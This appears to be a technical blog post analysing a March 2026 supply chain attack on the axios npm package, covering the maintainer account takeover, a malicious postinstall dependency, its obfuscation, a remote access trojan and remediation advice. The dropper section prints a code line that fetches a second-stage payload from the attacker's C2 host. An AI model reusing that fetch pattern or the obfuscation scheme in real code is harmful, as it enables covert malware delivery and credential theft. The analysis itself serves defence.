On March 30, 2026, one of the most widely used JavaScript libraries in the world was quietly backdoored. Here's a deep technical breakdown of how the axios supply chain attack worked — and what it means for every developer who's ever typed npm install.
Background: Why Axios?
Axios is an HTTP client library for JavaScript. It's the go-to tool for making web requests from both browsers and Node.js servers. It handles things like request cancellation, automatic JSON serialization, interceptors, and CSRF token management — all the plumbing that most apps need but nobody wants to write from scratch.
With over 83 million weekly downloads and presence in roughly 80% of cloud and code environments, it's not an exaggeration to say axios lives inside half the internet. It's in your backend APIs, your React frontends, your CI pipelines, your serverless functions. It's foundational infrastructure.
That's exactly why it was targeted.
The Analogy
Before we go deep, here's one for the non-engineers in the room.
Imagine your city's water supply goes through a single treatment plant trusted by everyone. One day, an attacker quietly bribes a worker to add an undetectable contaminant to the water for three hours before anyone notices. Millions of people already had a glass. The contaminant isn't in the water itself — it's in a chemical that the plant ordered from a supplier. Nobody thought to inspect that chemical because they've always trusted the plant.
That's a supply chain attack. You didn't download malware. You downloaded a library you've always trusted, and the library was poisoned at the source.
The Timeline
- ~06:00 UTC, March 30 — The attacker stages a malicious package (
[email protected]) on npm, 18 hours before the attack. This is pre-positioning. - 00:21 UTC, March 31 — The attacker, now in control of the
jasonsaaymannpm account, publishes[email protected](taggedlatest) and[email protected](taggedlegacy), both containing the backdoor. - 03:29 UTC, March 31 — Malicious versions are removed. The window was 3 hours and 8 minutes.
- Both release branches were hit within 39 minutes of each other. This was not someone learning as they went. It was a prepared, coordinated operation.
How the Account Was Compromised
The attacker gained control of the npm account belonging to jasonsaayman, the lead axios maintainer. After taking over, they changed the registered email to [email protected] — a Proton Mail address under their control — effectively locking the real owner out of the recovery flow.
This is the simplest, most devastating part of the attack: no code exploit was required. npm's trust model is entirely credential-based. If you have the token, you are the publisher. There's no signing requirement, no secondary approval, no anomaly detection that prevents a newly-hijacked account from publishing to a package with 83 million weekly downloads.
The Technical Mechanism
What Changed in the Package
The real axios has exactly three dependencies:
{
"follow-redirects": "^1.15.6",
"form-data": "^4.0.0",
"proxy-from-env": "^1.1.0"
}
The malicious versions added a fourth:
{
"follow-redirects": "^1.15.6",
"form-data": "^4.0.0",
"proxy-from-env": "^1.1.0",
"plain-crypto-js": "4.2.1"
}
plain-crypto-js is never imported anywhere in the axios source. Its only function is its postinstall script — a hook that npm executes automatically whenever the package is installed.
The Dropper: setup.js
The postinstall script in plain-crypto-js is a dropper written in Node.js. It uses two layers of obfuscation to evade static analysis:
- Reversed Base64 with padding substitution — The payload is Base64-encoded, then reversed, with padding characters swapped to avoid obvious detection patterns.
- XOR cipher — The decoded payload is XOR'd using the key
OrDeR_7077against a constant value of333.
This is a classic dual-layer obfuscation pattern. Neither layer is cryptographically strong — XOR with a static key is trivially reversible — but the goal isn't to be unbreakable. The goal is to survive automated scanning long enough to be installed.
Once deobfuscated, the script does the following:
const platform = os.platform(); // 'darwin', 'win32', or 'linux'
// Reaches out to C2 server to fetch platform-specific second-stage
fetch(`http://sfrclak.com:8000/payload/${platform}`)
The C2 server (sfrclak.com, IP 142.11.206.73) was pre-configured to serve three different second-stage payloads depending on whether the host was macOS, Windows, or Linux. Cross-platform targeting of all three major operating systems is not something thrown together overnight.
The RAT
The second-stage payload is a Remote Access Trojan — software that gives the attacker persistent, covert control over the infected machine. In a developer's environment, that means access to:
- Secrets in environment variables (
AWS_SECRET_ACCESS_KEY,DATABASE_URL, etc.) - SSH keys and GPG keys in
~/.ssh - Cloud provider credentials (
~/.aws/credentials,~/.config/gcloud) - Running processes, network sockets, filesystem contents
- Clipboard and terminal history
Anti-Forensics
After execution, the malware deletes itself and overwrites its own package.json with a clean copy. This is deliberate trace erasure. An engineer running npm ls or inspecting node_modules after the fact would see nothing suspicious.
Attribution
Google Threat Intelligence Group has attributed this attack to UNC1069, a suspected North Korean threat actor. North Korean state-sponsored groups have a well-documented history of targeting software developers specifically — their credentials and machine access are high-value stepping stones into cloud infrastructure, private repositories, and production systems.
The staging of plain-crypto-js 18 hours in advance, the pre-built cross-platform payloads, the coordinated dual-branch publication window — this is the operational signature of a professional threat actor, not an opportunistic script kiddie.
Why This Attack Pattern Is So Dangerous
The Trusted Execution Context Problem
When npm runs a postinstall script, it runs with the same privileges as the developer installing the package. On most developer machines, that means full user-level access — no sandbox, no permission prompt, no warning. You run npm install and arbitrary code executes. This is the design.
The Transitive Dependency Explosion
You didn't install plain-crypto-js. You installed axios. Axios installed plain-crypto-js. The average JavaScript project has hundreds of transitive dependencies — packages your package depends on, that those packages depend on, recursively. Each one is an implicit trust relationship you probably never audited. Attackers know this and exploit it.
Integrity Without Verification
npm's package-lock.json and integrity hashes are designed to ensure that what you install today is the same as what was published. But if the published version is itself malicious, the integrity hash for the malicious version is valid. Pinning to a version doesn't protect you if that version was published by an attacker.
What Should You Do?
Immediate:
- If you installed
[email protected]or[email protected]between 00:21–03:29 UTC on March 31, 2026, assume compromise. Rotate all secrets accessible from that machine. - Pin to a known safe version:
[email protected]or[email protected]are clean.
Longer term:
- Enable
ignore-scriptsin your.npmrcfor CI environments where you don't need postinstall hooks. - Use tools like Socket.dev or Snyk that flag new postinstall scripts, new dependencies, and account takeover signals in real time.
- Enforce dependency review on PRs — any
package-lock.jsonchange that adds a new transitive dependency should require explicit approval. - Consider
npm audit signatures(available since npm 9) to verify package signatures where they exist.
The Bigger Picture
The axios attack isn't a story about one bad package or one compromised maintainer. It's a story about an ecosystem-wide structural vulnerability: we have built critical global infrastructure on a foundation of mutual trust, and we have almost no verification layer underneath it.
Open source maintainers are not adversaries. But they are targets. A maintainer's npm credentials are now worth attacking, because those credentials are a key to systems that matter. Until npm and the broader ecosystem implement mandatory signing, multi-party publishing approval, or hardened postinstall sandboxing, every npm install is a calculated risk.
The attack window was three hours. The blast radius was potentially millions of machines.
Sources: Snyk, The Hacker News, Aikido Security, Wiz, StepSecurity, Elastic Security Labs, Huntress